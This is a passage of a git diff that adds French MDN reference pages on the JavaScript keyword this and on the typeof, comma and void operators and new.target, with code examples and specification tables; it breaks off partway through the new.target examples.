+<p>Dans le dernier exemple (<code>C2</code>), on renvoie un objet lors de la construction. L'objet qui était lié <code>this</code> est alors abandonné. (L'instruction "<code>this.a = 37;</code>" devient alors totalement inutile, bien qu'elle soit exécutée, elle n'aura aucun effet de bord.)</p>
+
+<h3 id="En_tant_que_gestionnaire_dévénement_DOM">En tant que gestionnaire d'événement DOM</h3>
+
+<p>Lorsqu'une fonction est utilisée comme gestionnaire d'événement (<em>event handler</em>), le <code>this</code> correspondant prendra la valeur de l'élément ayant déclenché l'événement (certains navigateurs ne suivent pas cette convention et les gestionnaires sont ajoutés dynamiquement avec d'autres méthodes qu'{{domxref("EventTarget.addEventListener()", "addEventListener()")}}).</p>
+
+<pre class="brush:js">// Lorsque cette fonction est appelée
+// comme listener, l'élément associé
+// sera coloré en bleu
+function bluify(e){
+  // Cette proposition est toujours vraie
+  console.log(this === e.currentTarget);
+
+  // true lorsque currentTarget et target correspondent
+  // au même objet
+  console.log(this === e.target);
+
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// On obtient une liste de tous les éléments
+// contenus dans le document
+var elements = document.getElementsByTagName('*');
+
+// On ajout le listener bluify pour réagier au clic
+// Quand on clique sur un élément, il deviendra bleu
+for(var i=0 ; i&lt;elements.length ; i++){
+  elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="En_tant_que_gestionnaire_dévénements_in-line">En tant que gestionnaire d'événements <em>in-line</em></h3>
+
+<p>Lorsque le code est appelé depuis un gestionnaire d'événement « en ligne » (<em>in-line</em>), la valeur de <code>this</code> correspondra à l'élément du DOM sur lequel on a placé le <em>listener</em>. Ainsi :</p>
+
+<pre class="brush:js">&lt;button onclick="console.log(this.tagName.toLowerCase());"&gt;
+  Afficher this
+&lt;/button&gt;
+</pre>
+
+<p>montrera le texte <code>button</code> lorsqu'on cliquera dessus. Attention, seul le code externe verra la valeur de <code>this</code> affectée de cette façon :</p>
+
+<pre class="brush:js">&lt;button onclick="console.log((function(){return this})());"&gt;
+  Afficher le this interne
+&lt;/button&gt;
+</pre>
+
+<p>Ici, on utilise <code>this </code>à l'intérieur d'une fonction et il n'est pas défini en amont. Il renvoie donc l'objet global (l'objet <code>window</code> pour un navigateur avec du code non-strict).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-this-keyword', 'Le mot-clé this')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-this-keyword', 'Le mot-clé this')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.1', 'Le mot-clé this')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.1.1', 'Le mot-clé this')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.1.1', 'Le mot-clé this')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.this")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+ <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&amp;%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes">this &amp; les prototypes objet</a> de Kyle Simpson sur GitHub (en anglais)</li>
+ <li><a href="https://dmitripavlutin.com/gentle-explanation-of-this-in-javascript/">Un article explicatif sur <code>this</code> (en anglais)</a></li>
+ <li>La propriété {{jsxref("globalThis")}} qui permet d'accéder à l'objet global <code>this</code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_typeof/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_typeof/index.html
new file mode 100644
index 0000000000..e65d9a6db2
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_typeof/index.html
@@ -0,0 +1,273 @@
+---
+title: L'opérateur typeof
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur <strong><code>typeof</code></strong> renvoie une chaîne qui indique le type de son opérande.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>L'opérateur <code>typeof</code> est suivi de son opérande :</p>
+
+<pre class="syntaxbox">typeof <em>operande</em></pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<p><code><em>operande</em></code> est une expression qui représente la valeur dont on souhaite obtenir le type.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le tableau qui suit liste les résultats possibles de l'opérateur <code>typeof</code>. Pour plus d'informations sur les types et valeurs primitives en JavaScript, voir la page sur <a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives">les types et structures de données JavaScript</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type</th>
+   <th scope="col">Résultat</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>indéfini</td>
+   <td><code>"undefined"</code></td>
+  </tr>
+  <tr>
+   <td>nul</td>
+   <td><code>"object" </code>(voir ci-après)</td>
+  </tr>
+  <tr>
+   <td>booléen</td>
+   <td><code>"boolean"</code></td>
+  </tr>
+  <tr>
+   <td>nombre</td>
+   <td><code>"number"</code></td>
+  </tr>
+  <tr>
+   <td>grand entier</td>
+   <td><code>"bigint"</code></td>
+  </tr>
+  <tr>
+   <td>chaîne de caractère</td>
+   <td><code>"string"</code></td>
+  </tr>
+  <tr>
+   <td>symbole (nouveauté d'ECMAScript 6 / 2015)</td>
+   <td><code>"symbol"</code></td>
+  </tr>
+  <tr>
+   <td>objet de l'environnement (fourni par l'environnement dans lequel est utilisé JS)</td>
+   <td><em>Résultat différent selon l'implémentation</em></td>
+  </tr>
+  <tr>
+   <td>Objet Function (au sens ECMA-262, un objet qui implémente [[Call]])</td>
+   <td><code>"function"</code></td>
+  </tr>
+  <tr>
+   <td>Tout autre objet</td>
+   <td><code>"object"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">// Pour les nombres
+typeof 37 === 'number';
+typeof 3.14 === 'number';
+typeof(42) === 'number';
+typeof Math.LN2 === 'number';
+typeof Infinity === 'number';
+typeof NaN === 'number'; // Bien que littéralement ce soit "Not-A-Number"…
+typeof Number('1') === 'number'; // Number essaie de convertir l'argument en nombre
+
+// Grand entier
+typeof 42n === 'bigint';
+
+// Les chaînes de caractères
+typeof "" === 'string';
+typeof "bla" === 'string';
+typeof "1" === 'string'; // on a ici un nombre écrit sous forme d'une chaîne
+typeof (typeof 1) === 'string'; // typeof renvoie toujours une chaîne
+typeof String(1) === 'string'; // String convertit n'importe quelle valeur en chaîne
+
+
+// Les booléens
+typeof true === 'boolean';
+typeof false === 'boolean';
+typeof Boolean(1) === 'boolean'; // Boolean convertit n'importe quelle valeur en son équivalent logique
+typeof !!(1) === 'boolean'; // deux appels à l'opérateur ! (le NON logique) sont équivalents à Boolean()
+
+
+// Les symboles
+typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+
+// Indéfini
+typeof undefined === 'undefined';
+typeof blabla === 'undefined'; // pour une variable indéfinie
+
+
+// Les objets
+typeof {a:1} === 'object';
+
+// Utiliser la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/isArray">Array.isArray</a> ou Object.prototype.toString.call
+// afin de différencier les objets des tableaux
+typeof [1, 2, 4] === 'object';
+
+typeof new Date() === 'object';
+typeof /regex/ === 'object'; // Voir la section sur les expressions rationnelles
+
+// Les expressions suivantes sont source de confusion
+// à ne pas utiliser sous cette forme
+typeof new Boolean(true) === 'object';
+typeof new Number(1) === 'object';
+typeof new String("abc") === 'object';
+
+
+// Les fonctions
+typeof function(){} === 'function';
+typeof class C {} === 'function';
+typeof Math.sin === 'function';
+</pre>
+
+<h2 id="Informations_supplémentaires">Informations supplémentaires</h2>
+
+<h3 id="null"><code>null</code></h3>
+
+<pre class="brush:js">// Cela est valable depuis les commencements de JavaScript
+typeof null === 'object';
+</pre>
+
+<p>Lors de la première implémentation de JavaScript, les valeurs JavaScript étaient représentées avec une étiquette de type et une valeur. Pour les objets, l'étiquette de type était 0. <code>null</code> était représenté par la valeur NULL (0x00 pour la plupart des plates-formes). Par conséquent, l'étiquette de type de <code>null</code> valait 0, d'où le comportement de <code>typeof</code> (<a href="https://www.2ality.com/2013/10/typeof-null.html">source</a>).</p>
+
+<p>Un correctif fut proposé pour ECMAScript mais il fut <a class="external" href="https://web.archive.org/web/20160331031419/http://wiki.ecmascript.org:80/doku.php?id=harmony:typeof_null">refusé</a>. Avec cette version, on aurait eu <code>typeof null === 'null'</code>.</p>
+
+<h3 id="Utiliser_l'opérateur_new">Utiliser l'opérateur <code>new</code></h3>
+
+<pre class="brush: js">// Tous les constructeurs doivent être employés
+// avec le mot-clé "new"
+var maChaine = new String("toto");
+var monNombre = new Number(100);
+
+typeof maChaine;  // renverra "object"
+typeof monNombre; // renverra "object"
+
+// En revanche avec le constructeur Function,
+// on aura :
+var maFonction = new Function();
+typeof maFonction; // renverra "function"</pre>
+
+<h3 id="Utilisation_des_parenthèses">Utilisation des parenthèses</h3>
+
+<pre class="brush: js">// Les parenthèses peuvent s'avérer utile pour
+// déterminer le type de données d'une expression
+// complète
+
+var maDonnee = 99;
+
+typeof maDonnee + 'Toto';   // renverra 'number Toto'
+typeof (maDonnee + 'Toto'); // renverra 'string'
+</pre>
+
+<h3 id="Expressions_rationnelles">Expressions rationnelles</h3>
+
+<p>Les expressions rationnelles qu'on peut appeler directement furent parfois ajoutées de façon non standard dans certains navigateurs.</p>
+
+<pre class="brush:js">typeof /s/ === 'function'; // Chrome 1 à 12 : Non conforme à ECMAScript 5.1
+typeof /s/ === 'object';   // À partir de Firefox 5 : Conforme à ECMAScript 5.1
+</pre>
+
+<h3 id="Zone_morte_temporaire_(Temporal_Dead_Zone_TDZ)">Zone morte temporaire (<em>Temporal Dead Zone</em> / TDZ)</h3>
+
+<p>Avant ECMAScript 2015 (ES6), <code>typeof</code> retournait toujours une chaîne de caractères, quel que soit l'opérande utilisé. On ne pouvait pas avoir d'erreur en utilisant <code>typeof</code>.</p>
+
+<p>Avec l'apparition des opérateurs <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> et <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code>, si on utilise <code>typeof</code> sur des variables déclarées avec ces opérateurs (ou avec une classe) avant leur déclaration, cela déclenchera une erreur {{jsxref("ReferenceError")}}. Si on utilise <code>typeof</code> sur une variable déclarée avec <code>var</code> avant la déclaration, cela renverra <code>undefined</code>. Les variables déclarées avec <code>let</code> et <code>const</code> sont en fait placées dans une <em><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let#Zone_morte_temporaire_(Temporal_Dead_Zone_TDZ)_et_les_erreurs_liées_à_let">zone morte temporaire </a></em>entre le début du bloc et leur initialisation et dans cette zone, tout accès à la variable produit une erreur.</p>
+
+<pre class="brush: js">typeof variableGlobaleNonDeclaree === "undefined";
+
+typeof variableLet; // ReferenceError
+let variableLet;
+
+typeof constante;   // ReferenceError
+const constante = "coucou";
+
+typeof maClasse; // ReferenceError
+class maClasse{};</pre>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Tous les navigateurs actuels exposent un objet non-standard {{domxref("document.all")}} dont le type est <code>"undefined"</code>.</p>
+
+<pre class="brush: js">typeof document.all === "undefined";</pre>
+
+<p>Bien que la spécification requière que les objets exostiques aient des types différents, ces types doivent être des chaînes différentes des chaînes existantes pour les objets standards. À ce titre, le type de <code>document.all</code> représente une violation « volontaire » du standard ECMAScript original.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typeof-operator', 'Opérateur typeof')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typeof-operator', 'Opérateur typeof')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.3', 'Opérateur typeof')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.4.3', 'Opérateur typeof')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.3', 'Opérateur typeof')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale, implémentée avec JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.typeof")}}</p>
+
+<h2 id="Notes_spécifiques_à_IE">Notes spécifiques à IE</h2>
+
+<p>Pour les versions 6, 7 et 8 d'Internet Explorer, les objets de l'environnement hôte sont des objets et non des fonctions. Par exemple, on aura :</p>
+
+<pre class="brush: js">typeof alert === 'object'</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'opérateur {{jsxref("Opérateurs/instanceof","instanceof")}}</li>
+ <li><a href="http://es-discourse.com/t/why-typeof-is-no-longer-safe/15">Discussion es-discuss sur l'évolution de <code>typeof</code> avec ECMAScript 2015 et <code>let</code></a></li>
+ <li><a href="https://github.com/tc39/ecma262/issues/668">À propos du non-respect volontaire du standard avec le type de <code>document.all</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_virgule/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_virgule/index.html
new file mode 100644
index 0000000000..d3ccf9c8f4
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_virgule/index.html
@@ -0,0 +1,107 @@
+---
+title: L'opérateur virgule
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_virgule
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur<strong> virgule</strong> permet d'évaluer chacun de ses opérandes (de la gauche vers la droite) et de renvoyer la valeur du dernier opérande.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2, expr3...</code></dt>
+ <dd>Des expressions JavaScript.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opérateur virgule peut être utilisé lorsqu'on souhaite utiliser plusieurs expressions là où la syntaxe n'en attend qu'une seule. Cet opérateur est souvent utilisé dans une boucle {{jsxref("Instructions/for","for")}} afin de fournir plusieurs paramètres.</p>
+
+<p>L'opérateur virgule est à différencier de la virgule utilisée pour séparer les éléments d'un tableau ou les propriétés d'un objet ou encore les arguments d'une fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>SI on a un tableau à 2 dimensions appelé <code>monTableau</code>, qui possède 10 éléments ayant chacun 10 éléments, on peut utiliser le code suivant avec l'opérateur virgule afin d'incrémenter deux variables (<code>i</code> et <code>j</code>) à la fois. Attention, la virgule utilisée au sein de l'instruction <code>var</code> <strong>n'est pas</strong> l'opérateur virgule (car il ne peut exister au sein d'une expression) ; ici c'est un caractère spécial de l'instruction {{jsxref("Instructions/var","var")}}. Le code qui suit affiche les éléments présents sur la diagonale de cette matrice :</p>
+
+<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--){
+  console.log("monTableau[" + i + "][" + j + "] = " + monTableau[i][j]);
+}</pre>
+
+<p>Dans le code suivant, <code>a</code> est défini avec la valeur de <code>b = 3</code> (qui est 3) et l'expression <code>c = 4</code> est toujours évaluée et c'est ce résultat affiché dans la console du fait de la précédence et de l'associativité des opérateurs.</p>
+
+<pre class="brush: js">var a, b, c;
+a = b = 3, c = 4; // Renvoie 4 dans la console
+console.log(a);   // 3</pre>
+
+<p>Pour isoler la précédence de l'opérateur, on peut utiliser des parenthèses :</p>
+
+<pre class="brush: js">var x, y, z;
+x = (y = 5, z = 6); // Renvoie 6 dans la console
+console.log(x);     // 6</pre>
+
+<h3 id="Effectuer_un_traitement_puis_renvoyer_une_valeur">Effectuer un traitement puis renvoyer une valeur</h3>
+
+<p>Un autre exemple consiste à effectuer un certain traitement sur la variable puis à renvoyer le résultat. Par définition, seul le dernier élément sera renvoyé mais les instructions précédentes seront bien exécutées. AInsi, on pourrait avoir :</p>
+
+<pre class="brush: js">function maFonction () {
+  var x = 0;
+
+  return (x += 1, x); // ce qui revient à renvoyer ++x
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.comma")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les boucles {{jsxref("Instructions/for","for")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_void/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_void/index.html
new file mode 100644
index 0000000000..e15eb1ed76
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_void/index.html
@@ -0,0 +1,122 @@
+---
+title: L'opérateur void
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_void
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/void
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>opérateur <code>void</code></strong> permet d'évaluer une <em>expression</em> donnée et de renvoyer <code>undefined</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-voidoperator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <em>expression</em></pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Cet opérateur permet d'évaluer des expressions retournant une valeur là où on attend une expression qui vaut {{jsxref("undefined")}}.</p>
+
+<p>L'opérateur <code>void</code> est souvent utilisé pour obtenir la valeur <code>undefined</code>, généralement avec "<code>void(0)</code>" (qui est l'équivalent de "<code>void 0</code>"). Pour ce cas d'exemple, on aurait très bien pu utiliser la variable globale {{jsxref("undefined")}}.</p>
+
+<p>Attention à <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Pr%C3%A9c%C3%A9dence_des_op%C3%A9rateurs">la précédence des opérateurs</a> et notamment de celle de <code>void</code>, si besoin, on pourra utiliser des parenthèses pour clarifier la résolution de l'expression :</p>
+
+<pre class="brush: js">void 2 == '2';    // renvoie false
+void (2 === '2'); // renvoie undefined</pre>
+
+<h2 id="Expressions_de_fonction_appelées_immédiatement">Expressions de fonction appelées immédiatement</h2>
+
+<p>Lorsqu'on utilise tout un script dans une fonction qu'on évalue immédiatement, <code>void</code> peut être utilisé pour que le mot-clé <code>function</code> soit traité comme une expression plutôt que comme une déclaration.</p>
+
+<pre class="brush: js">void function iife() {
+    var toto = function () {};
+    var machin = function () {};
+    var truc = function () {
+        toto();
+        machin();
+     };
+    var bidule = function () {};
+
+    truc();
+    bidule();
+}();
+</pre>
+
+<h2 id="Les_URI_JavaScript">Les URI JavaScript</h2>
+
+<p>Lorsqu'un navigateur utilise une URI avec <code>javascript:</code>, le code de l'URI est évalué et le résultat remplace le contenu de la page, sauf si la valeur renvoyée vaut {{jsxref("Objets_globaux/undefined","undefined")}}. L'utilisateur <code>void</code> peut alors être utilisé pour renvoyer cette valeur. Par exemple :</p>
+
+<pre>&lt;a href="javascript:void(0);"&gt;
+  Cliquer ici (sans effet)
+&lt;/a&gt;
+
+&lt;a href="javascript:void(document.body.style.backgroundColor='green');"&gt;
+  Cliquer ici pour rendre le fond vert
+&lt;/a&gt;</pre>
+
+<p>Malgré cela, il n'est pas recommandé d'utiliser le pseudo-protocole <code>javascript:</code>, on lui préférera des méthodes moins risquées et moins intrusives comme les gestionnaires d'événements.</p>
+
+<h2 id="Fonctions_fléchées_sans_valeur_de_retour">Fonctions fléchées sans valeur de retour</h2>
+
+<p>Les fonctions fléchées raccourcissent la syntaxe pour obtenir la valeur d'une fonction avec le résultat d'une expression qui constitue le corps de la fonction. Ainsi, la fonction renvoie nécessairement une valeur. Aussi, convertir une base de code afin d'utiliser des fonctions fléchées peut avoir certains effets de bord lorsqu'on souhaite qu'une fonction soit simplement exécutée mais pas que sa valeur de retour interfère avec le reste.</p>
+
+<p>Pour éviter de transmettre cette valeur de retour, on pourra utiliser l'opérateur <code>void</code> :</p>
+
+<pre class="brush: js">button.onclick = () =&gt; void faireQQc();</pre>
+
+<p>Ainsi, la valeur de retour de la fonction <code>faireQQc</code> sera bloquée par <code>void</code> et c'est <code>undefined</code> qui sera la valeur de retour de la fonction fléchée. Cela s'avère utile si on change l'API de <code>faireQQc</code> par exemple et qu'on souhaite éviter les effets de bord causés par cette modification.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-void-operator', 'Opérateur void')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-void-operator', 'L\'opérateur void')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.2', 'L\'opérateur void')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.4.2', 'L\'opérateur void')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.2', 'L\'opérateur void')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.void")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/new.target/index.html b/files/fr/web/javascript/reference/opérateurs/new.target/index.html
new file mode 100644
index 0000000000..63be303c4c
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/new.target/index.html
@@ -0,0 +1,110 @@
+---
+title: new.target
+slug: Web/JavaScript/Reference/Opérateurs/new.target
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/new.target
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p>La syntaxe<strong> <code>new.target</code></strong> est disponible dans toutes les fonctions et permet entre autres de tester si une fonction ou un constructeur a été appelé avec <code>new</code>. Dans les constructeurs, il fait référence au constructeur invoqué par <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">new</a></code>. Dans les appels de fonction « normaux », <code>new.target</code> vaut {{jsxref("undefined")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-newtarget.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new.target</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La syntaxe <code>new.target</code> se compose du mot-clé <code>new</code>, suivi d'un point puis d'un nom de propriété (ici <code>target</code>). Généralement et par ailleurs, <code>new.</code> est utilisé comme contexte pour accéder à une propriété. Ici, <code>new.</code> ne fait pas réellement référence à un objet. Dans les appels de constructeurs, <code>new.target</code> fait référence au constructeur qui a été appelé par <code>new</code>. Cette syntaxe permet donc de récupérer cette valeur.</p>
+
+<p><code>new.target</code> est une méta-propriété, disponible pour toutes les fonctions. Dans <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a>, <code>new.target</code> fait référence au <code>new.target</code> de la fonction englobante.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_new.target_dans_les_appels_de_fonction">Utilisation de <code>new.target</code> dans les appels de fonction</h3>
+
+<p>Utilisé dans les appels de fonctions « classiques » (autrement dit pour les fonctions qui ne sont pas des constructeurs), <code>new.target</code> vaut {{jsxref("undefined")}}. Cela permet de détecter si une fonction a été appelée comme constructeur avec <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_new">new</a></code> :</p>
+
+<pre class="brush: js">function Toto(){
+  if (!new.target) throw "Toto() doit être appelé avec new"
+  console.log("Toto instancié avec new");
+}
+
+new Toto(); // affiche "Toto instancié avec new" dans la console
+Toto(); // lève l'exception avec "Toto doit être appelé avec new"
+</pre>
+
+<h3 id="Utilisation_de_new.target_dans_les_constructeurs">Utilisation de <code>new.target</code> dans les constructeurs</h3>
+
+<p>Utilisés dans les appels de constructeurs de classe, <code>new.target</code> fait référence au constructeur utilisé directement avec <code>new</code>. C'est également le cas quand le constructeur est présent dans une classe parente et est délégué depuis le constructeur fils :</p>
+
+<pre class="brush: js">class A {
+  constructor() {
+    console.log(new.target.name);
+  }
+}
+
